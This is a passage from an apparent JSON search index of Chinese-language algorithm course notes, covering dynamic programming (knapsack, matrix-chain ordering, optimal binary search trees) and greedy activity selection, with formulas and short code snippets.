\\(W_i\\)\uff0c\u6211\u4eec\u53ef\u4ee5\u5199\u51fa\u9012\u63a8\u5173\u7cfb\uff1a</p> \\[     W_i = \\max(W_{i-1}, W_{i-2} + w_i) \\] <p>\u6700\u540e\u6211\u4eec\u53ef\u4ee5\u81ea\u5e95\u5411\u4e0a\u6784\u5efa\u89e3</p> <pre><code>   array A\n   A[0]=0\n   A[1]=w[1]\n   for i in range(2,n+1):\n    A[i]=max(A[i-1],(A[i-2]+w_i))\n   return A[n]\n</code></pre> <p>\u6211\u4eec\u5728\\(O(n)\\)\u590d\u6742\u5ea6\u5185\u5b8c\u6210\u4e86\u8fd9\u4e00\u5de5\u4f5c</p> <p>\u5982\u679c\u6211\u4eec\u9700\u8981\u91cd\u6784\u51fa\u6784\u6210\u6700\u4f18\u89e3\u6709\u54ea\u4e00\u4e9b\u70b9\uff0c\u90a3\u4e48\u53ef\u4ee5\u81ea\u9876\u5411\u4e0b\u6839\u636e\u9012\u63a8\u5f0f\u6765\u5224\u65ad\u5f53\u524d\u56fe\u7684\u6700\u540e\u4e00\u4e2a\u70b9\u662f\u5426\u5728\u89e3\u4e2d</p>"},{"location":"NOTE/ADS/wk7/#_2","title":"\u80cc\u5305\u95ee\u9898","text":"<p>\u80cc\u5305\u95ee\u9898\u662f\u4e00\u4e2a\u6700\u6700\u7ecf\u5178\u7684\u52a8\u6001\u89c4\u5212\u95ee\u9898\uff0c\u6211\u4eec\u8fd9\u91cc\u9996\u5148\u4ecb\u7ecd\u6700\u57fa\u7840\u7684\u80cc\u5305\u95ee\u9898\uff0c\u5373 \\(0-1\\) \u80cc\u5305\u95ee\u9898\u3002\u8fd9 \u4e00\u95ee\u9898\u7684\u63cf\u8ff0\u5982\u4e0b\uff1a\u6211\u4eec\u6709 \\(n\\) \u4e2a\u7269\u54c1\uff0c\u6bcf\u4e2a\u7269\u54c1\u7684\u91cd\u91cf\u4e3a \\(s_i\\)\uff0c\u4ef7\u503c\u4e3a \\(v_i\\)\uff0c\u6211\u4eec\u6709\u4e00\u4e2a\u5bb9\u91cf\u4e3a \\(C\\) \u7684\u80cc\u5305\uff0c\u6211\u4eec\u5e0c\u671b\u627e\u5230\u4e00\u4e2a\u6700\u4f18\u7684\u88c5\u8f7d\u65b9\u6848\uff0c\u4f7f\u5f97\u80cc\u5305\u4e2d\u7684\u7269\u54c1\u603b\u4ef7\u503c\u6700\u5927\u3002\u8fd9\u4e00\u95ee\u9898\u7684\u7279\u70b9\u662f\u6bcf\u4e2a\u7269\u54c1\u4f60\u8981\u4e48\u4e0d\u653e\u8fdb\u5305\u91cc\uff0c\u8981\u4e48\u5b8c\u6574\u7684 \\(1\\) \u4e2a\u653e\u8fdb\u53bb\uff0c\u56e0\u6b64\u79f0\u4e3a \\(0-1\\) \u80cc\u5305\u95ee\u9898\u3002</p> <p>\u8fd9\u4e0e\u52a0\u6743\u72ec\u7acb\u96c6\u5408\u95ee\u9898\u7565\u6709\u4e0d\u540c</p> <ul> <li>\u5982\u679c\u7b2c \\(n\\) \u4e2a\u7269\u54c1\u4e0d\u5728\u6700\u4f18\u89e3 \\(S\\) \u4e2d\uff0c\u5373\u6700\u4f18\u65b9\u6848\u6392\u9664\u4e86\u6700\u540e\u4e00\u4ef6\u7269\u54c1\uff0c\u56e0\u6b64\u5b83\u53ef\u4ee5\u770b\u6210\u4ec5\u7531\u524d  \\(n\u22121\\)\u4e2a\u7269\u54c1\u7ec4\u6210\u7684\u5b50\u95ee\u9898\u7684\u4e00\u79cd\u53ef\u884c\u89e3\u51b3\u65b9\u6848</li> <li>\u5982\u679c\u7b2c \\(n\\) \u4e2a\u7269\u54c1\u5728\u6700\u4f18\u89e3 \\(S\\) \u4e2d\uff0c\u8fd9\u79cd\u60c5\u51b5\u53ea\u6709\u5728 \\(s_n \\leqslant C\\) \u65f6\u624d\u6709\u610f\u4e49\u3002\u7c7b\u4f3c\u4e8e\u52a0\u6743\u72ec\u7acb\u96c6\u5408\u95ee\u9898\uff0c\u6211\u4eec\u5e0c\u671b \\(S \u2212 \\{n\\}\\) \u662f\u524d \\(n \u2212 1\\) \u4e2a\u7269\u54c1\u7ec4\u6210\u7684\u5b50\u95ee\u9898\u7684\u6700\u4f18\u89e3\uff0c\u4f46\u8fd9\u663e\u7136\u662f\u9519\u8bef\u7684\uff01\u5982\u679c \\(S \u2212 \\{n\\}\\)\u5c31\u5df2\u7ecf\u628a \\(W\\)\u51e0\u4e4e\u5360\u6ee1\uff0c\u90a3\u6700\u540e \\(n\\) \u6839\u672c\u5c31\u653e\u4e0d\u8fdb\u6765\u4e86\u3002\u56e0\u6b64\u6211\u4eec\u9700\u8981\u5bf9\u5b50\u95ee\u9898\u7684\u8bbe\u7f6e\u7565\u505a\u8c03\u6574\uff1a\\(S \u2212 \\{n\\}\\) \u5e94\u5f53\u662f\u524d \\(n\\) \u4e2a\u7269\u54c1\u5728\u80cc\u5305\u5bb9\u91cf\u4e3a \\(C \u2212s_n\\) \u7684\u60c5\u51b5\u4e0b\u7684\u6700\u4f18\u89e3\uff01\u56e0\u4e3a\u6211\u4eec\u77e5\u9053 \\(n\\) \u5728\u89e3\u4e2d\uff0c\u90a3\u4e48\u9664\u53bb \\(n\\) \u4e4b\u5916\u7684\u5176\u5b83\u89e3\u7684\u91cd\u91cf\u4e4b\u548c\u6700\u591a\u5c31\u662f \\(C \u2212 s_n\\)\uff0c\u56e0\u6b64 \\(S \u2212 \\{n\\}\\) \u5e94\u5f53\u662f\u524d \\(n\\) \u4e2a\u7269\u54c1\u5728\u80cc\u5305\u5bb9\u91cf\u4e3a  \\(C \u2212 s_n\\)\u7684\u60c5\u51b5\u4e0b\u7684\u53ef\u884c\u89e3</li> </ul> <p>\u6240\u4ee5</p> \\[  V_{i,c} =  \\begin{cases}  V_{i-1,c}, &amp; \\text{if } s_i &gt; c \\\\  \\max(V_{i-1,c}, V_{i-1,c-s_i} + v_i), &amp; \\text{if } s_i \\leq c  \\end{cases}  \\] <pre><code>def knapsack(weights, values, capacity):\n    n = len(weights)\n    dp = [[0] * (capacity + 1) for _ in range(n + 1)]\n\n    for i in range(1, n + 1):\n        for c in range(capacity + 1):\n            if weights[i] &gt; c: #\u5982\u679c\u5f53\u524d\u7269\u54c1\u7684\u91cd\u91cf\u5927\u4e8e\u80cc\u5305\u5bb9\u91cf,\u4e0d\u7528\u518d\u8003\u8651\n                dp[i][c] = dp[i-1][c]\n            else:\n                dp[i][c] = max(dp[i-1][c], dp[i-1][c-weights[i-1]] + values[i-1])\n\n    return dp[n][capacity]\n</code></pre> <p>\u89e3\u7684\u91cd\u6784</p>"},{"location":"NOTE/ADS/wk7/#_3","title":"\u77e9\u9635\u4e58\u6cd5\u7684\u8ba1\u7b97\u987a\u5e8f","text":"<p>\u6211\u4eec\u8003\u8651\u77e9\u9635\u94fe\u76f8\u4e58 \\( M_1M_2 \\cdots M_n \\)\uff0c\u6bcf\u4e2a\u77e9\u9635\u7684\u5927\u5c0f\u4e3a \\( r_{i-1} \\times r_i \\)\u3002\u8bb0</p> \\[ M_{ij} = M_iM_{i+1} \\cdots M_j \\] <p>\u663e\u7136\u524d\u9762\u7684\u4e09\u4e2a\u95ee\u9898\u7ed9\u6211\u4eec\u4e86\u4e0d\u5c11\u7684\u7ecf\u9a8c\uff1a\u6211\u4eec\u5e94\u5f53\u8003\u8651\u6700\u540e\u4e00\u4e2a\u77e9\u9635\uff0c\u7136\u540e\u4f9d\u636e\u8fd9\u4e00\u77e9\u9635\u53ef\u80fd\u7684\u76f8\u4e58\u65b9\u5f0f\u5212\u5206\u6700\u4f18\u89e3\u7684\u53ef\u80fd\u6027\u3002\u5f88\u7b80\u5355\u7684\uff0c\u7b2c\u4e00\u79cd\u60c5\u51b5\u5bf9\u5e94\u6211\u4eec\u7684\u8ba1\u7b97\u65b9\u5f0f\u662f \\( M_{1,n-1} \\cdots M_n \\)\uff0c\u5373\u5148\u7528\u7b97\u524d \\( n-1 \\) \u4e2a\u77e9\u9635\u76f8\u4e58\u7684\u6700\u4f18\u65b9\u5f0f\u8ba1\u7b97\u524d \\( n-1 \\) \u4e2a\u77e9\u9635\u7684\u4e58\u79ef\uff0c\u6700\u540e\u4e0e \\( M_n \\) \u76f8\u4e58\uff1b\u7b2c\u4e8c\u79cd\u60c5\u51b5\u7684\u8ba1\u7b97\u65b9\u5f0f\u662f \\( M_{1,n-2} \\cdots M_{n-1}M_n \\)\uff0c\u5373\u5148\u7528\u7b97\u524d \\( n-2 \\) \u4e2a\u77e9\u9635\u76f8\u4e58\u7684\u6700\u4f18\u65b9\u5f0f\u8ba1\u7b97\u524d \\( n-2 \\) \u4e2a\u77e9\u9635\u7684\u4e58\u79ef\uff0c\u6700\u540e\u4e0e \\( M_{n-1}M_n \\) \u7684\u7ed3\u679c\u76f8\u4e58\u3002\u8fd9\u662f\u6839\u636e\u6211\u4eec\u524d\u9762\u7684\u95ee\u9898\u7684\u7ecf\u9a8c\u5f97\u5230\u7684\uff0c\u548c\u8868\u8ff0\u5b8c\u5168\u4e00\u81f4\uff0c\u4f46\u4e8b\u5b9e\u4e0a\u771f\u7684\u53ea\u6709\u8fd9\u4e24\u79cd\u60c5\u51b5\u5417\uff1f\u663e\u7136\u4e0d\u662f\u7684\uff01\u6ce8\u610f\uff0c\u8bf7\u56de\u5230\u6211\u4eec\u5206\u7c7b\u7684\u6839\u6e90\u6765\u770b\uff1a\u6211\u4eec\u6b64\u65f6\u5206\u7c7b\u7684\u4f9d\u636e\u662f \\( M_n \\) \u7684\u8ba1\u7b97\u65b9\u5f0f\uff0c\u90a3\u4e48\u5bf9\u4e8e\u5982\u4e0b\u4e58\u79ef\u5f62\u5f0f\uff1a</p> \\[ M_{1,i}M_{i+1,n-1}M_n \\] <p>\u53ea\u8981\u662f\u4e0d\u540c\u7684 \\( i \\) \uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u5f97\u5230\u4e0d\u540c\u7684\u8ba1\u7b97\u65b9\u5f0f</p> <p>\u56e0\u6b64\uff0c\u6211\u4eec\u81ea\u9876\u5411\u4e0b\u5bfb\u627e\u6700\u4f18\u89e3\u65f6\uff0c\u5e94\u8be5\u8003\u8651\u5bf9\u4e8e\u4e00\u4e2a\u65e0\u5e8f\u77e9\u9635\uff0c\u6211\u4eec\u7684\u7b2c\u4e00\u5200\u5e94\u8be5\u5207\u5728\u54ea\u4e2a\u5730\u65b9</p> \\[     m_{1n} = min\\{m_{1i} + m_{i+1,n} + r_0r_ir_n\\} \\] <p>\u524d\u4e24\u9879\u4ee3\u8868\u5de6\u53f3\u5b50\u95ee\u9898\u7684\u89e3\uff0c\u6700\u540e\u4e00\u9879\u4ee3\u8868\u5408\u5e76\u7684\u4ee3\u4ef7\uff0c\u66f4\u5177\u4f53\u7684\uff0c\u6211\u4eec\u6709</p> \\[  m_{ij} =  \\begin{cases}  0, &amp; i = j; \\\\  \\min\\limits_{i \\leq k &lt; j} \\{ m_{ik} + m_{k+1,j} + r_{i-1}r_kr_j \\}, &amp; i &lt; j.  \\end{cases}  \\] <pre><code>void OptMatrix( const long r[ ], int N, TwoDimArray M ) \n{   int  i, j, k, L; \n    long  ThisM; \n    for( i = 1; i &lt;= N; i++ )   M[ i ][ i ] = 0; //base case\n    for( k = 1; k &lt; N; k++ ) /* k = j - i */ \n        for( i = 1; i &lt;= N - k; i++ ) { /* For each position */ \n    j = i + k;    M[ i ][ j ] = Infinity; \n    for( L = i; L &lt; j; L++ ) { \n        ThisM = M[ i ][ L ] + M[ L + 1 ][ j ] \n            + r[ i - 1 ] * r[ L ] * r[ j ]; \n        if ( ThisM &lt; M[ i ][ j ] )  /* Update min */ \n        M[ i ][ j ] = ThisM; \n    }  /* end for-L */\n    }  /* end for-Left */\n}\n</code></pre> \u4ee3\u7801\u89e3\u91ca <ul> <li>\u53c2\u6570: <code>r</code> \u662f\u77e9\u9635\u94fe\u7684\u7ef4\u5ea6\u6570\u7ec4\uff0c<code>N</code> \u662f\u77e9\u9635\u94fe\u7684\u957f\u5ea6\uff0c<code>M</code> \u662f\u52a8\u6001\u89c4\u5212\u7684\u7ed3\u679c\u8868\u3002</li> <li>\u521d\u59cb\u5316base case\uff1a</li> <li><code>for( i = 1; i &lt;= N; i++ ) M[ i ][ i ] = 0;</code></li> <li> <p>\u8fd9\u4e00\u6b65\u5c06\u77e9\u9635 <code>M</code> \u7684\u5bf9\u89d2\u7ebf\u5143\u7d20\u8bbe\u4e3a 0\uff0c\u56e0\u4e3a\u5355\u4e2a\u77e9\u9635\u7684\u4e58\u6cd5\u4ee3\u4ef7\u4e3a\u96f6\u3002</p> </li> <li> <p>\u586b\u5145\u52a8\u6001\u89c4\u5212\u8868\uff1a</p> </li> <li><code>for( k = 1; k &lt; N; k++ )</code>\uff1a<code>k</code> \u8868\u793a\u5f53\u524d\u8003\u8651\u7684\u77e9\u9635\u94fe\u957f\u5ea6\u3002</li> <li><code>for( i = 1; i &lt;= N - k; i++ )</code>\uff1a<code>i</code> \u662f\u94fe\u7684\u8d77\u59cb\u4f4d\u7f6e\u3002<ul> <li><code>j = i + k;</code>\uff1a<code>j</code> \u662f\u94fe\u7684\u7ed3\u675f\u4f4d\u7f6e\u3002</li> <li><code>M[ i ][ j ] = Infinity;</code>\uff1a\u521d\u59cb\u5316 <code>M[i][j]</code> \u4e3a\u65e0\u7a77\u5927\uff0c\u8868\u793a\u5c1a\u672a\u8ba1\u7b97\u51fa\u6700\u5c0f\u4ee3\u4ef7\u3002</li> <li><code>for( L = i; L &lt; j; L++ )</code>\uff1a<code>L</code> \u662f\u53ef\u80fd\u7684\u5206\u5272\u70b9\u3002</li> <li><code>ThisM = M[ i ][ L ] + M[ L + 1 ][ j ] + r[ i - 1 ] * r[ L ] * r[ j ];</code><ul> <li>\u8ba1\u7b97\u4ece <code>i</code> \u5230 <code>L</code> \u548c\u4ece <code>L+1</code> \u5230 <code>j</code> \u7684\u4e58\u6cd5\u4ee3\u4ef7\uff0c\u52a0\u4e0a\u5408\u5e76\u4e24\u4e2a\u7ed3\u679c\u77e9\u9635\u7684\u4ee3\u4ef7\u3002</li> </ul> </li> <li><code>if ( ThisM &lt; M[ i ][ j ] ) M[ i ][ j ] = ThisM;</code><ul> <li>\u5982\u679c\u8ba1\u7b97\u51fa\u7684\u4ee3\u4ef7\u5c0f\u4e8e\u5f53\u524d\u5b58\u50a8\u7684\u4ee3\u4ef7\uff0c\u5219\u66f4\u65b0 <code>M[i][j]</code>\u3002</li> </ul> </li> </ul> </li> </ul> <p>\u65f6\u95f4\u590d\u6742\u5ea6\uff1a\\(O(n^3)\\)\uff0c\u5176\u4e2d \\(n\\) \u662f\u77e9\u9635\u94fe\u7684\u957f\u5ea6\u3002</p> <p>\u89e3\u7684\u91cd\u6784</p> <p>\u8fd9\u4e00\u95ee\u9898\u91cd\u6784\u89e3\u7684\u65b9\u6cd5\u5982\u679c\u7528\u548c\u524d\u9762\u7684\u95ee\u9898\u4e00\u6837\u7b80\u5355\u76f4\u63a5\u7684\u63a7\u5236\u65b9\u6cd5\u663e\u7136\u4f1a\u6bd4\u8f83\u8017\u65f6\uff0c\u56e0\u4e3a\u6211\u4eec\u6bcf\u6b21\u8981\u6bd4\u8f83\u5f88\u591a\u79cd\u53ef\u80fd\u7684\u60c5\u51b5\u624d\u80fd\u91cd\u6784\u51fa\u89e3\uff0c\u6240\u4ee5\u6211\u4eec\u9700\u8981\u505a\u4e00\u4e9b\u4f18\u5316\u3002\u4f18\u5316\u7684\u65b9\u6cd5\u4e5f\u975e\u5e38\u81ea\u7136\uff0c\u5b9e\u9645\u4e0a\u5173\u952e\u5c31\u662f\u7528\u4e00\u4e2a\u4e8c\u7ef4\u6570\u7ec4\u8bb0\u4f4f\u6bcf\u4e2a\u5b50\u95ee\u9898</p> \\[  m_{ij} = \\min\\limits_{i \\leq k &lt; j} \\{ m_{ik} + m_{k+1,j} + r_{i-1}r_kr_j \\}  \\] <p>\u5bf9\u5e94\u7684\u6700\u4f18\u7684\u5206\u70b9\uff0c\u7136\u540e\u5f53\u6211\u4eec\u7b97\u51fa\u95ee\u9898 \\( m_n \\) \u7684\u6700\u4f18\u89e3\u53ca\u5176\u5bf9\u5e94\u7684\u6700\u4f18\u5206\u70b9\u540e\uff0c\u6211\u4eec\u518d\u6309\u5de6\u53f3\u4e24\u534a\u5b50\u95ee\u9898\u7684\u6700\u4f18\u5206\u70b9\uff0c\u4ee5\u6b64\u7c7b\u63a8\uff0c\u7528\u4e2d\u5e8f\u904d\u5386\u7684\u601d\u60f3\u5c06\u5206\u70b9\u8f93\u51fa\u5373\u53ef\uff0c\u53ea\u9700\u7ebf\u6027\u65f6\u95f4\u3002</p> <pre><code>// Function to print the optimal parenthesization\nvoid printOptimalParens(vector&lt;vector&lt;int&gt;&gt;&amp; s, int i, int j) {\n    if (i == j) {\n        cout &lt;&lt; \"A\" &lt;&lt; i;\n    } else {\n        cout &lt;&lt; \"(\";\n        printOptimalParens(s, i, s[i][j]);\n        cout &lt;&lt; s[i][j];\n        printOptimalParens(s, s[i][j] + 1, j);\n        cout &lt;&lt; \")\";\n    }\n}\n</code></pre>"},{"location":"NOTE/ADS/wk7/#_4","title":"\u6700\u4f18\u4e8c\u53c9\u641c\u7d22\u6811","text":"<p>Question</p> <p>\u8fd9\u4e00\u95ee\u9898\u7ed9\u5b9a\u5982\u4e0b\u8f93\u5165\uff1a\u7ed9\u5b9a\u4e00\u5217\u5355\u8bcd \\( w_1, w_2, \\ldots, w_n \\)\uff08\u5b83\u4eec\u7684\u987a\u5e8f\u5df2\u7ecf\u6309\u5b57\u5178\u5e8f\u6392\u5217\uff09\u548c\u5b83\u4eec\u51fa\u73b0\u7684\u56fa\u5b9a\u7684\u6982\u7387 \\( p_1, p_2, \\ldots, p_n \\)\u3002\u95ee\u9898\u662f\u8981\u4ee5\u4e00\u79cd\u65b9\u6cd5\u5728\u4e00\u68f5\u4e8c\u53c9\u67e5\u627e\u6811\u4e2d\u5b89\u653e\u8fd9\u4e9b\u5355\u8bcd\u4f7f\u5f97\u603b\u7684\u671f\u671b\u67e5\u627e\u65f6\u95f4\u6700\u5c0f\u3002</p> <p>\u5728\u4e00\u68f5\u4e8c\u53c9\u67e5\u627e\u6811\u4e2d\uff0c\u8bbf\u95ee\u6df1\u5ea6 \\( d \\) \u5904\u7684\u6bcf\u4e00\u4e2a\u5143\u7d20\u6240\u9700\u8981\u7684\u6bd4\u8f83\u6b21\u6570\u662f \\( d+1 \\)\uff0c\u56e0\u6b64\u5982\u679c \\( w_i \\) \u88ab\u653e\u5728\u6df1\u5ea6 \\( d_i \\) \u4e0a\uff0c\u90a3\u4e48\u6211\u4eec\u671f\u671b\u5c06 \\( \\sum_{i=1}^{N} p_i (1 + d_i) \\) \u6781\u5c0f\u5316\u3002</p> <p>\u4f7f\u7528\u8d2a\u5fc3\u548cAVL\u7b49\u7b97\u6cd5\u4e0d\u4e00\u5b9a\u53ef\u884c\uff0c\u4f7f\u7528\u5206\u6cbb\u6cd5\u53c8\u9700\u8981\u9996\u5148\u77e5\u9053\u6700\u4f18\u6839\u8282\u70b9\u5728\u54ea\u91cc\uff0c\u6240\u4ee5\u6211\u4eec\u4f7f\u7528\u52a8\u6001\u89c4\u5212\u7684\u65b9\u6cd5\u6765\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u3002</p> <p>\u5982\u679c\u6211\u4eec\u77e5\u9053\u6700\u4f18\u6839\u8282\u70b9\\(w_k\\),\u90a3\u4e48\u5728\u6574\u4e2a\u95ee\u9898\u7684\u6700\u4f18\u89e3\u4e2d\uff0c\u7531\u4e8e\u4e8b\u5148\u5df2\u7ecf\u6309\u7167\u5b57\u6bcd\u5e8f\u6392\u597d\uff0c\u5de6\u5b50\u6811\u5fc5\u7136\u662f\\(w_1 \\cdots w_{k-1}\\) \u7684\u6700\u4f18\u89e3\uff0c\u53f3\u5b50\u6811\u4e5f\u5fc5\u7136\u662f\\(w_{k+1} \\cdots w_n\\) \u7684\u6700\u4f18\u89e3\uff0c\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u5f97\u5230\u9012\u63a8\u5173\u7cfb</p> \\[  c_{ij} = \\sum_{k=i}^{j} p_k + \\min\\limits_{i \\leqslant k \\leqslant j} \\{ c_{i,k-1} + c_{k+1,j} \\}, \\quad i \\leqslant j. \\] <p>\u5176\u4e2d\\(p_k\\)\u4ee3\u8868\u6743\u91cd\uff0c\\(c_{ij}\\)\u4ee3\u8868\u4ece\\(i\\)\u5230\\(j\\)\u7684\u6700\u4f18\u6210\u672c\uff0c\\(c_{i,k-1}\\)\u4ee3\u8868\u5de6\u5b50\u6811\u7684\u6700\u4f18\u6210\u672c\uff0c\\(c_{k+1,j}\\)\u4ee3\u8868\u53f3\u5b50\u6811\u7684\u6700\u4f18\u6210\u672c\u3002</p> <p>\u524d\u9762\u7b2c\u4e00\u9879\u662f\u56e0\u4e3a\u7531\u4e8e\u6839\u8282\u70b9\u7684\u5b58\u5728\uff0c\u6240\u6709\u7684\u8282\u70b9\u90fd\u52a0\u6df1\u4e00\u5c42\uff0c\u662f\u4e24\u4e2a\u5b50\u95ee\u9898\u7ed3\u5408\u7684\u7ed3\u679c\uff0c\u540e\u9762\u7684\u9879\u662f\u5de6\u53f3\u5b50\u6811\u7684\u6700\u4f18\u89e3\u3002</p> <p>\u8fd9\u4e2a\u7b97\u6cd5\u662f\\(O(n^3)\\)\u7684\uff0c\u4f46\u662f\u53ef\u4ee5\u4f18\u5316\u5230\\(O(n^2)\\)</p>"},{"location":"NOTE/ADS/wk8/","title":"Greedy Algorithm","text":"<p> \u7ea6 3024 \u4e2a\u5b57  56 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 11 \u5206\u949f</p> <p>\u8d2a\u5fc3\u7b97\u6cd5\u4fdd\u8bc1\u6bcf\u6b21\u9009\u62e9\u90fd\u662f\u5c40\u90e8\u6700\u4f18\u7684\uff0c\u5982\u679c\u5c40\u90e8\u6700\u4f18\u4e5f\u662f\u5168\u5c40\u6700\u4f18\uff0c\u90a3\u4e48\u8d2a\u5fc3\u7b97\u6cd5\u5c31\u662f\u6b63\u786e\u7684\u3002</p>"},{"location":"NOTE/ADS/wk8/#_1","title":"\u6d3b\u52a8\u9009\u62e9\u95ee\u9898","text":"<p>\u95ee\u9898\u63cf\u8ff0</p> <p>\u7ed9\u5b9a\u4e00\u4e2a\u6d3b\u52a8\u96c6\u5408 \\(S = \\{a_1, a_2, \\ldots, a_n\\}\\)\uff0c\u5176\u4e2d\u6bcf\u4e2a\u6d3b\u52a8 \\(a_i\\) \u90fd\u6709\u4e00\u4e2a\u5f00\u59cb\u65f6\u95f4 \\(s_i\\) \u548c\u7ed3\u675f\u65f6\u95f4 \\(f_i\\)\uff0c\u4e14 \\(0 \\leqslant s_i &lt; f_i &lt; \\infty\\)\u3002\u5982\u679c\u6d3b\u52a8 \\(a_i\\) \u548c \\(a_j\\) \u6ee1\u8db3 \\(f_i \\leqslant s_j\\) \u6216 \\(f_j \\leqslant s_i\\)\uff0c\u5219\u79f0\u6d3b\u52a8 \\(a_i\\) \u548c \\(a_j\\) \u662f\u517c\u5bb9\u7684\uff08\u5373\u4e8c\u8005\u65f6\u95f4\u4e0d\u4f1a\u91cd\u5408\uff09\u3002\u6d3b\u52a8\u9009\u62e9\u95ee\u9898\u5c31\u662f\u8981\u627e\u5230\u4e00\u4e2a\u6700\u5927\u7684\u517c\u5bb9\u6d3b\u52a8\u5b50\u96c6\u3002</p> <p>\u52a8\u6001\u89c4\u5212</p> <p>\u6211\u4eec\u5047\u8bbe\u8f93\u5165\u4e2d\u662f\u6309\u7167 \\(n\\) \u4e2a\u6d3b\u52a8\u7ed3\u675f\u65f6\u95f4\u4ece\u5c0f\u5230\u5927\u6392\u5217\u7684\u3002\u53ef\u4ee5\u8bbe\u8ba1\u51fa\u4e24\u79cd\u52a8\u6001\u89c4\u5212\u7684\u9012\u63a8\u5f0f\u6765\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff1a</p> <ol> <li>\u8bbe \\(S_{ij}\\) \u8868\u793a\u6d3b\u52a8 \\(a_i\\) \u548c \\(a_j\\) \u4e4b\u95f4\u7684\u6700\u5927\u517c\u5bb9\u6d3b\u52a8\u96c6\u5408\uff08\u5f00\u59cb\u65f6\u95f4\u5728 \\(a_i\\) \u7ed3\u675f\u4e4b\u540e\uff0c\u7ed3\u675f\u65f6\u95f4\u5728 \\(a_j\\) \u5f00\u59cb\u4e4b\u524d\uff09\uff0c\u5176\u5927\u5c0f\u8bb0\u4e3a \\(c_{ij}\\)\uff0c\u90a3\u4e48\u6211\u4eec\u6709</li> </ol> \\[ c_{ij} = \\max \\{ c_{ik} + c_{kj} + 1 \\mid f_i \\leqslant s_k &lt; f_k \\leqslant s_j \\} \\] <p>\u8fd9\u4e00\u89e3\u6cd5\u7684\u601d\u60f3\u66f4\u63a5\u8fd1\u77e9\u9635\u4e58\u6cd5\u987a\u5e8f\u95ee\u9898\uff0c\u6211\u4eec\u4f1a\u9009\u62e9\u4e2d\u95f4\u7684\u6700\u4f18\u89e3\u7136\u540e\u5206\u4e3a\u5de6\u53f3\u5b50\u95ee\u9898\u9012\u5f52\u3002</p> <ol> <li>\u8bbe \\(S_i\\) \u8868\u793a\u6d3b\u52a8 \\(a_1, a_2, \\ldots, a_i\\) \u7684\u6700\u5927\u517c\u5bb9\u6d3b\u52a8\u96c6\u5408\uff0c\u5176\u5927\u5c0f\u8bb0\u4e3a \\(c_i\\)\uff0c\u90a3\u4e48\u6211\u4eec\u6709</li> </ol> \\[     c_i = \\max \\{ c_{i-1}, c_{k(i)} + 1 \\} \\] <p>\u5176\u4e2d \\(k(i)\\) \u8868\u793a\u5728 \\(1 \\leqslant k \\leqslant i\\) \u4e2d\uff0c\\(f_k \\leqslant s_i\\) \u4e14\\(c_k\\)\u6700\u5927\u7684\\(k\\),\u5373\u4e0d\u4e0e\\(a_i\\)\u51b2\u7a81\u7684\u6700\u665a\u7ed3\u675f\u7684\u6d3b\u52a8\u8fd9\u4e00\u601d\u60f3\u66f4\u63a5\u8fd1\u80cc\u5305\u95ee\u9898\u7684\u601d\u8def\uff0c\u5373\u6211\u4eec\u8003\u8651\u6700\u540e\u4e00\u4e2a\u662f\u5426\u5728\u89e3\u4e2d\uff0c\u5206\u6210\u4e24\u79cd\u60c5\u51b5\u8003\u8651\u3002</p> <p>Property</p> <p>\u4e24\u79cd\u52a8\u6001\u89c4\u5212\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u90fd\u662f \\(O(n^3)\\)\uff0c\u53ef\u4ee5\u4f18\u5316\u4e3a \\(O(n^2)\\)\u3002</p> <p>\u8d2a\u5fc3\u7b97\u6cd5</p> <p>\u5f88\u591a\u65f6\u5019\u4f7f\u7528\u8d2a\u5fc3\u53ea\u9700\u8981\u4e00\u6b21\u904d\u5386\u5c31\u80fd\u627e\u5230\u6700\u4f18\u89e3\uff0c\u8fd9\u91cc\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u8d2a\u5fc3\u7b97\u6cd5\u6765\u89e3\u51b3\u6d3b\u52a8\u9009\u62e9\u95ee\u9898\u3002</p> <p>\u6211\u4eec\u4f9d\u6b21\u6392\u597d\u5e8f\u540e\u9009\u62e9 \u4e0d\u51b2\u7a81\u7684\u7ed3\u675f\u65f6\u95f4\u6700\u65e9\u7684\u4e8b\u4ef6(\u6216\u8005\u4ece\u540e\u5f80\u524d\u770b\u4f9d\u6b21\u9009\u62e9\u4e0d\u51b2\u7a81\u7684\u5f00\u59cb\u65f6\u95f4\u6700\u665a\u7684\u4e8b\u4ef6) \u52a0\u5230\u6700\u4f18\u89e3\u4e2d</p> <p>Proof</p> <p>\u5047\u8bbe \\(a_k\\) \u662f \\(a_1, a_2, \\ldots, a_n\\) \u4e2d\u7ed3\u675f\u65f6\u95f4\u6700\u65e9\u7684\u6d3b\u52a8\uff0c\u90a3\u4e48 \\(a_k\\) \u4e00\u5b9a\u662f\u67d0\u4e2a\u6700\u5927\u517c\u5bb9\u6d3b\u52a8\u5b50\u96c6\u7684\u4e00\u90e8\u5206\u3002\u56e0\u4e3a\u5982\u679c \\(a_k\\) \u4e0d\u5728\u6700\u5927\u517c\u5bb9\u6d3b\u52a8\u5b50\u96c6\u4e2d\uff0c\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u5c06 \\(a_k\\) \u66ff\u6362\u4e3a\u6700\u5927\u517c\u5bb9\u6d3b\u52a8\u5b50\u96c6\u4e2d\u7684\u67d0\u4e2a\u6d3b\u52a8\uff0c\u8fd9\u6837\u6211\u4eec\u5c31\u5f97\u5230\u4e86\u4e00\u4e2a\u66f4\u5927\u7684\u517c\u5bb9\u6d3b\u52a8\u5b50\u96c6\uff0c\u8fd9\u4e0e\u6211\u4eec\u7684\u5047\u8bbe\u77db\u76fe\u3002 </p> <p>Property</p> <p>\u5982\u679c\u6d3b\u52a8\u5df2\u7ecf\u6392\u597d\u5e8f\u6392\u5e8f\uff0c\u90a3\u4e48\u8d2a\u5fc3\u7b97\u6cd5\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u662f \\(O(n)\\)\u3002</p> <p>\u5426\u5219\u9700\u8981\u6392\u5e8f\uff0c\u65f6\u95f4\u590d\u6742\u5ea6\u662f \\(O(n \\log n)\\)\u3002</p> <p>Extra</p> <ul> <li> <p>\u52a0\u6743\u6d3b\u52a8\u9009\u62e9\u95ee\u9898\uff1a\u6bcf\u4e2a\u6d3b\u52a8 \\(a_i\\) \u90fd\u6709\u4e00\u4e2a\u6743\u91cd 